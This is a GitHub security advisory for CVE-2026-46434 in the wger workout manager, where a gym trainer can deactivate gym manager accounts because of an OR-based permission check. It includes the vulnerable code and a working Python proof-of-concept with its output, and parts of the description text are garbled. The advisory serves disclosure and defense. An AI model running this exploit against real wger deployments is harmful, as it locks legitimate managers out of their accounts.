GitHub Advisoryadvisory · PyPI

GHSA-x249-cx55-2h87 wger: Trainer Privilege Escalation - Improper Privilege Management

HIGH Published 2026-10-07 Modified 2026-10-26 Official page ↗
Aliases
CVE-2026-46434
Ecosystem
PyPI
Packages
wger
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
Weaknesses
CWE-269
Reviewed
2026-10-07

Affected packages

• PyPI wger: <= 2.1 (no fix yet)

Description

Summary A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding any one of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. Details `UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with: ```python permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer') ``` `WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient: ```python class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin): def has_permission(self): for permission in self.get_permission_required(): if self.request.user.has_perm(permission): return True # /deactivate ``` The manager's account is immediately set to `is_active = False`. The manager can no longer log in. Proof of Concept Script ```python !/usr/bin/env python3 """ PoC: Trainer -> Manager Privilege Escalation (Account Deactivation) Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-269: Improper Privilege Management Usage: python3 poc.py http://localhost:8000 """ import requests import sys import re if len(sys.argv) ") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1) BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2" MANAGER_USER = "gym_manager_poc" MANAGER_PASS = "Manager!Poc!2025" TRAINER_USER = "evil_trainer_poc" TRAINER_PASS = "Trainer!Poc!2025" BANNER = """ ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== """ print(BANNER) ---- Helper ---- def api_login(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.status_code == 200: return r.json().get("token") return None def api_headers(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"} ---- Setup via Django ORM (must run inside container) ---- import os, django os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main' sys.path.insert(0, '/home/wger/src') django.setup() from django.contrib.auth.models import User, Group from wger.gym.models import Gym Ensure permission groups exist for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']: Group.objects.get_or_create(name=name) Create gym gym, _ = Gym.objects.get_or_create(name="PoC Test Gym") print(f"[*] Gym: {gym.name} (id={gym.id})") Create manager (the VICTIM) manager, created = User.objects.get_or_create( username=MANAGER_USER, defaults={"is_active": True} ) if created: manager.set_password(MANAGER_PASS) manager.save() manager.userprofile.gym = gym manager.userprofile.save() manager.groups.clear() manager.groups.add(Group.objects.get(name='gym_manager')) manager.is_active = True manager.save() print(f"[*] Manager (victim): {manager.username} (id={manager.id})") print(f" Groups: {[g.name for g in manager.groups.all()]}") print(f" is_active: {manager.is_active}") Create trainer (the ATTACKER) trainer, created = User.objects.get_or_create( username=TRAINER_USER, defaults={"is_active": True} ) if created: trainer.set_password(TRAINER_PASS) trainer.save() trainer.userprofile.gym = gym trainer.userprofile.save() trainer.groups.clear() trainer.groups.add(Group.objects.get(name='gym_trainer')) print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})") print(f" Groups: {[g.name for g in trainer.groups.all()]}") ---- 1. Verify manager is active BEFORE attack ---- manager.refresh_from_db() print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}") assert manager.is_active, "Manager should be active before test" ---- 2. ATTACK: Trainer deactivates manager ---- print(f"\n{'='*65}") print(f" ATTACK: Trainer deactivating gym manager account") print(f"{'='*65}") from django.test import Client c = Client() c.force_login(trainer) resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True) print(f"\n GET /en/user/{manager.id}/deactivate") print(f" (Logged in as: {TRAINER_USER} - gym_trainer only)") print(f" Response: HTTP {resp.status_code}") ---- 3. VERIFY ---- print(f"\n{'='*65}") print(f" VERIFICATION") print(f"{'='*65}") manager.refresh_from_db() print(f"\n Manager is_active AFTER attack: {manager.is_active}") if not manager.is_active: print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gym_trainer successfully deactivated a gym_manager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+ """) manager.is_active = True manager.save() print(" [+] Cleanup: Manager re-activated") else: print("\n Manager is still active - NOT vulnerable") ``` Proof of Concept Output ``` ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== [*] Gym: PoC Test Gym (id=2) [*] Manager (victim): gym_manager_poc (id=4) Groups: ['gym_manager'] is_active: True [*] Trainer (attacker): evil_trainer_poc (id=5) Groups: ['gym_trainer'] [*] Manager is_active BEFORE attack: True ================================================================= ATTACK: Trainer deactivating gym manager account ================================================================= Trainer login: HTTP 200 GET http://localhost/en/user/4/deactivate (Logged in as: evil_trainer_poc - gym_trainer only) Response: HTTP 200 ================================================================= VERIFICATION ================================================================= Manager is_active AFTER attack: False +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A…

Related

Alias · CVE (1)

  • CVE-2026-46434 wger is a free, open-source workout and fitness manager. vulnerability

Weakness · CWE (1)

  • CWE-269 Improper Privilege Management weakness

References